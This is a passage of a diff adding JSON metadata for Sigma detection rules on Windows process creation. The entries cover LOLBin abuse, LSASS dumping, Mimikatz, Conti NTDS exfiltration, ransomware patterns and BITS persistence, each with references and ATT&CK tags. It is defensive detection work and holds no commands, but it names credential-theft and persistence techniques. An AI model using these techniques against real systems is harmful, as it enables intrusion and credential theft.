"https://lolbas-project.github.io/lolbas/Binaries/Vbc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.004" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_lolbin_visual_basic_compiler.yml", + "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", + "level": "high", + "falsepositive": [ + "Utilization of this tool should not be seen in enterprise environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The \"VSIISExeLauncher.exe\" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries", + "uuid": "18749301-f1c5-4efc-a4c3-276ff1f5b6f8", + "value": "Use of VSIISExeLauncher.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/06/09", + "filename": "proc_creation_win_lolbin_vsiisexelauncher.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.", + "uuid": "49be8799-7b4d-4fda-ad23-cafbefdebbc5", + "value": "Use of Wfc.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/06/01", + "filename": "proc_creation_win_lolbin_wfc.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Legitimate use by a software developer" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Winword process loading custmom dlls via the '/l' switch.\nWinword can be abused as a LOLBIN to download arbitrary file or load arbitrary DLLs.\n", + "uuid": "4ae3e30b-b03f-43aa-87e3-b622f4048eed", + "value": "Winword LOLBIN Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/", + "https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_winword.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/05/17", + "filename": "proc_creation_win_lolbin_winword.yml", + "author": "Nasreddine Bencherchali, Victor Sergeev, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of Wlrmdr.exe in which the -u parameter is passed to ShellExecute", + "uuid": "9cfc00b6-bfb7-49ce-9781-ef78503154bb", + "value": "Wlrmdr Lolbin Use as Launcher", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/02/16", + "filename": "proc_creation_win_lolbin_wlrmdr.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Too long PowerShell command lines", + "uuid": "d0d28567-4b9a-45e2-8bbc-fb1b66a1f7f6", + "value": "Too Long PowerShell Commandlines", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_long_powershell_commandline.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_win_long_powershell_commandline.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect creation of dump files containing the memory space of lsass.exe, which contains sensitive credentials.\nIdentifies usage of Sysinternals procdump.exe to export the memory space of lsass.exe which contains sensitive credentials.\n", + "uuid": "ffa6861c-4461-4f59-8a41-578c39f3f23e", + "value": "LSASS Memory Dumping", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/1e1ef6be-12fc-11e9-8d76-4d6bb837cda4.html", + "https://eqllib.readthedocs.io/en/latest/analytics/210b4ea4-12fc-11e9-8d76-4d6bb837cda4.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lsass_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_lsass_dump.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", + "uuid": "889719ef-dd62-43df-86c3-768fb08dc7c0", + "value": "Suspicious PowerShell Mailbox Export to Share", + "meta": { + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2481", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mailboxexport_share.yml" + ], + "tags": [ + "attack.exfiltration" + ], + "creation_date": "2021/08/07", + "filename": "proc_creation_win_mailboxexport_share.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command used by conti to find volume shadow backups", + "uuid": "7b30e0a7-c675-4b24-8a46-82fa67e2433d", + "value": "Conti Volume Shadow Listing", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti.yml" + ], + "tags": [ + "attack.t1587.001", + "attack.resource_development" + ], + "creation_date": "2021/08/09", + "filename": "proc_creation_win_malware_conti.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command used by conti to exfiltrate NTDS", + "uuid": "aa92fd02-09f2-48b0-8a93-864813fb8f41", + "value": "Conti NTDS Exfiltration Command", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_7zip.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560" + ], + "creation_date": "2021/08/09", + "filename": "proc_creation_win_malware_conti_7zip.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command that accesses password storing registry hives via volume shadow backups", + "uuid": "f57f8d16-1f39-4dcb-a604-6c73d9b54b3d", + "value": "Sensitive Registry Access via Volume Shadow Copy", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/08/09", + "filename": "proc_creation_win_malware_conti_shadowcopy.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "high", + "falsepositive": [ + "Some rare backup scenarios" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects typical Dridex process patterns", + "uuid": "e6eb5a96-9e6f-4a18-9cdd-642cfda21c8e", + "value": "Dridex Process Pattern", + "meta": { + "refs": [ + "https://app.any.run/tasks/993daa5e-112a-4ff6-8b5a-edbcec7c7ba3", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dridex.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055", + "attack.discovery", + "attack.t1135", + "attack.t1033" + ], + "creation_date": "2019/01/10", + "filename": "proc_creation_win_malware_dridex.yml", + "author": "Florian Roth, oscd.community", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process parameters as seen in DTRACK infections", + "uuid": "f1531fa4-5b84-4342-8f68-9cf3fdbd83d4", + "value": "DTRACK Process Creation", + "meta": { + "refs": [ + "https://securelist.com/my-name-is-dtrack/93338/", + "https://app.any.run/tasks/4bc9860d-ab51-4077-9e09-59ad346b92fd/", + "https://app.any.run/tasks/ce4deab5-3263-494f-93e3-afb2b9d79f14/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dtrack.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2019/10/30", + "filename": "proc_creation_win_malware_dtrack.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects all Emotet like process executions that are not covered by the more generic rules", + "uuid": "d02e8cf5-6099-48cf-9bfc-1eec2d0c7b18", + "value": "Emotet Process Creation", + "meta": { + "refs": [ + "https://app.any.run/tasks/e13ab713-64cf-4b23-ad93-6dceaa5429ac/", + "https://app.any.run/tasks/81f3c28c-c686-425d-8a2b-a98198d244e1/", + "https://app.any.run/tasks/97f875e8-0e08-4328-815f-055e971ba754/", + "https://app.any.run/tasks/84fc9b4a-ea2b-47b1-8aa6-9014402dfb56/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_emotet.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2019/09/30", + "filename": "proc_creation_win_malware_emotet.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.", + "uuid": "032f5fb3-d959-41a5-9263-4173c802dc2b", + "value": "Formbook Process Creation", + "meta": { + "refs": [ + "https://inquest.net/blog/2018/06/22/a-look-at-formbook-stealer", + "https://app.any.run/tasks/388d5802-aa48-4826-b069-250420504758/", + "https://app.any.run/tasks/8e22486b-5edc-4cef-821c-373e945f296c/", + "https://app.any.run/tasks/62bb01ae-25a4-4180-b278-8e464a90b8d7/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_formbook.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2019/09/30", + "filename": "proc_creation_win_malware_formbook.yml", + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and windows eventlogs are cleared using wevtutil", + "uuid": "79aeeb41-8156-4fac-a0cd-076495ab82a1", + "value": "NotPetya Ransomware Activity", + "meta": { + "refs": [ + "https://securelist.com/schroedingers-petya/78870/", + "https://www.hybrid-analysis.com/sample/64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_notpetya.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011", + "attack.t1070.001", + "attack.credential_access", + "attack.t1003.001", + "car.2016-04-002" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_malware_notpetya.yml", + "author": "Florian Roth, Tom Ueltschi", + "level": "critical", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects QBot like process executions", + "uuid": "4fcac6eb-0287-4090-8eea-2602e4c20040", + "value": "QBot Process Creation", + "meta": { + "refs": [ + "https://twitter.com/killamjr/status/1179034907932315648", + "https://app.any.run/tasks/2e0647b7-eb86-4f72-904b-d2d0ecac07d1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_qbot.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005" + ], + "creation_date": "2019/10/01", + "filename": "proc_creation_win_malware_qbot.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Ryuk ransomware activity", + "uuid": "c37510b8-2107-4b78-aa32-72f251e7a844", + "value": "Ryuk Ransomware", + "meta": { + "refs": [ + "https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_ryuk.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/12/16", + "filename": "proc_creation_win_malware_ryuk.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wscript/cscript executions of scripts located in user directories", + "uuid": "cea72823-df4d-4567-950c-0b579eaf0846", + "value": "WScript or CScript Dropper", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_script_dropper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_malware_script_dropper.yml", + "author": "Margaritis Dimitrios (idea), Florian Roth (rule), oscd.community", + "level": "high", + "falsepositive": [ + "Winzip", + "Other self-extractors" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes. This detectors attempts to identify that activity based off a command rarely observed in an enterprise network.", + "uuid": "410ad193-a728-4107-bc79-4419789fcbf8", + "value": "Trickbot Malware Recon Activity", + "meta": { + "refs": [ + "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_recon_activity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ], + "creation_date": "2019/12/28", + "filename": "proc_creation_win_malware_trickbot_recon_activity.yml", + "author": "David Burkett, Florian Roth", + "level": "critical", + "falsepositive": [ + "Rare System Admin Activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Trickbot malware process tree pattern in which rundll32.exe is parent of wermgr.exe", + "uuid": "58bf96d9-ff5f-44bd-8dcc-1c4f79bf3a27", + "value": "Trickbot Malware Activity", + "meta": { + "refs": [ + "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_wermgr.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559" + ], + "creation_date": "2020/11/26", + "filename": "proc_creation_win_malware_trickbot_wermgr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WannaCry ransomware activity", + "uuid": "41d40bff-377a-43e2-8e1b-2e543069e079", + "value": "WannaCry Ransomware", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_wannacry.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210", + "attack.discovery", + "attack.t1083", + "attack.defense_evasion", + "attack.t1222.001", + "attack.impact", + "attack.t1486", + "attack.t1490" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_malware_wannacry.yml", + "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", + "uuid": "1fac1481-2dbc-48b2-9096-753c49b4ec71", + "value": "Adwind RAT / JRAT", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", + "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_adwind.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2017/11/10", + "filename": "proc_creation_win_mal_adwind.yml", + "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to detect system changes made by Blue Mockingbird", + "uuid": "c3198a27-23a0-4c2c-af19-e5328d49680e", + "value": "Blue Mockingbird", + "meta": { + "refs": [ + "https://redcanary.com/blog/blue-mockingbird-cryptominer/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_blue_mockingbird.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112", + "attack.t1047" + ], + "creation_date": "2020/05/14", + "filename": "proc_creation_win_mal_blue_mockingbird.yml", + "author": "Trent Liffick (@tliffick)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects DarkSide Ransomware and helpers", + "uuid": "965fff6c-1d7e-4e25-91fd-cdccd75f7d2c", + "value": "DarkSide Ransomware Pattern", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/", + "https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_darkside_ransomware.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ], + "creation_date": "2021/05/14", + "filename": "proc_creation_win_mal_darkside_ransomware.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown", + "UAC bypass method used by other malware" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022", + "uuid": "2f974656-6d83-4059-bbdf-68ac5403422f", + "value": "Hermetic Wiper TG Process Patterns", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_hermetic_wiper_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1021.001" + ], + "creation_date": "2022/02/25", + "filename": "proc_creation_win_mal_hermetic_wiper_activity.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects LockerGoga Ransomware command line.", + "uuid": "74db3488-fd28-480a-95aa-b7af626de068", + "value": "LockerGoga Ransomware", + "meta": { + "refs": [ + "https://medium.com/@malwaredancer/lockergoga-input-arguments-ipc-communication-and-others-bd4e5a7ba80a", + "https://blog.f-secure.com/analysis-of-lockergoga-ransomware/", + "https://www.carbonblack.com/blog/tau-threat-intelligence-notification-lockergoga-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_lockergoga_ransomware.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_mal_lockergoga_ransomware.yml", + "author": "Vasiliy Burov, oscd.community", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Ryuk Ransomware command lines", + "uuid": "0acaad27-9f02-4136-a243-c357202edd74", + "value": "Ryuk Ransomware", + "meta": { + "refs": [ + "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_ryuk.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ], + "creation_date": "2019/08/06", + "filename": "proc_creation_win_mal_ryuk.yml", + "author": "Vasiliy Burov", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a usage of the manage-bde.wsf script that may indicate an attempt of proxy execution from script", + "uuid": "c363385c-f75d-4753-a108-c1a8e28bdbda", + "value": "Suspicious Usage of the Manage-bde.wsf Script", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/", + "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712", + "https://twitter.com/bohops/status/980659399495741441", + "https://twitter.com/JohnLaTwC/status/1223292479270600706", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_manage_bde_lolbas.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_manage_bde_lolbas.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting", + "uuid": "15619216-e993-4721-b590-4c520615a67d", + "value": "Meterpreter or Cobalt Strike Getsystem Service Start", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml", + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "level": "high", + "falsepositive": [ + "Commandlines containing components like cmd accidentally", + "Jobs and services started with cmd" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection well-known mimikatz command line arguments", + "uuid": "a642964e-bead-4bed-8910-1bb4d63e3b4d", + "value": "Mimikatz Command Line", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://tools.thehacker.recipes/mimikatz/modules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mimikatz_command_line.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_mimikatz_command_line.yml", + "author": "Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton", + "level": "medium", + "falsepositive": [ + "Legitimate Administrator using tool for password recovery" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of \"-Embedding\" as a child of svchost.exe", + "uuid": "f1f3bf22-deb2-418d-8cce-e1a45e46a5bd", + "value": "MMC20 Lateral Movement", + "meta": { + "refs": [ + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc20_lateral_movement.yml" + ], + "tags": [ + "attack.execution", + "attack.t1021.003" + ], + "creation_date": "2020/03/04", + "filename": "proc_creation_win_mmc20_lateral_movement.yml", + "author": "@2xxeformyshirt (Security Risk Advisors) - rule; Teymur Kheirkhabarov (idea)", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows command line executable started from MMC", + "uuid": "05a2ab7e-ce11-4b63-86db-ab32e763e11d", + "value": "MMC Spawning Windows Shell", + "meta": { + "refs": [ + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_spawn_shell.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.003" + ], + "creation_date": "2019/08/05", + "filename": "proc_creation_win_mmc_spawn_shell.yml", + "author": "Karneades, Swisscom CSIRT", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", + "uuid": "ada4b0c4-758b-46ac-9033-9004613a150d", + "value": "Modify Group Policy Settings", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modify_group_policy_settings.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1484.001" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_modify_group_policy_settings.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of an existing service on a compromised host in order to execute an arbitrary payload when the service is started or killed as a method of persistence.", + "uuid": "38879043-7e1e-47a9-8d46-6bec88e201df", + "value": "Modification Of Existing Services For Persistence", + "meta": { + "refs": [ + "https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modif_of_services_for_via_commandline.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.003", + "attack.t1574.011" + ], + "creation_date": "2020/09/29", + "filename": "proc_creation_win_modif_of_services_for_via_commandline.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded", + "uuid": "b9cbbc17-d00d-4e3d-a827-b06d03d2380d", + "value": "Monitoring For Persistence Via BITS", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html", + "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394", + 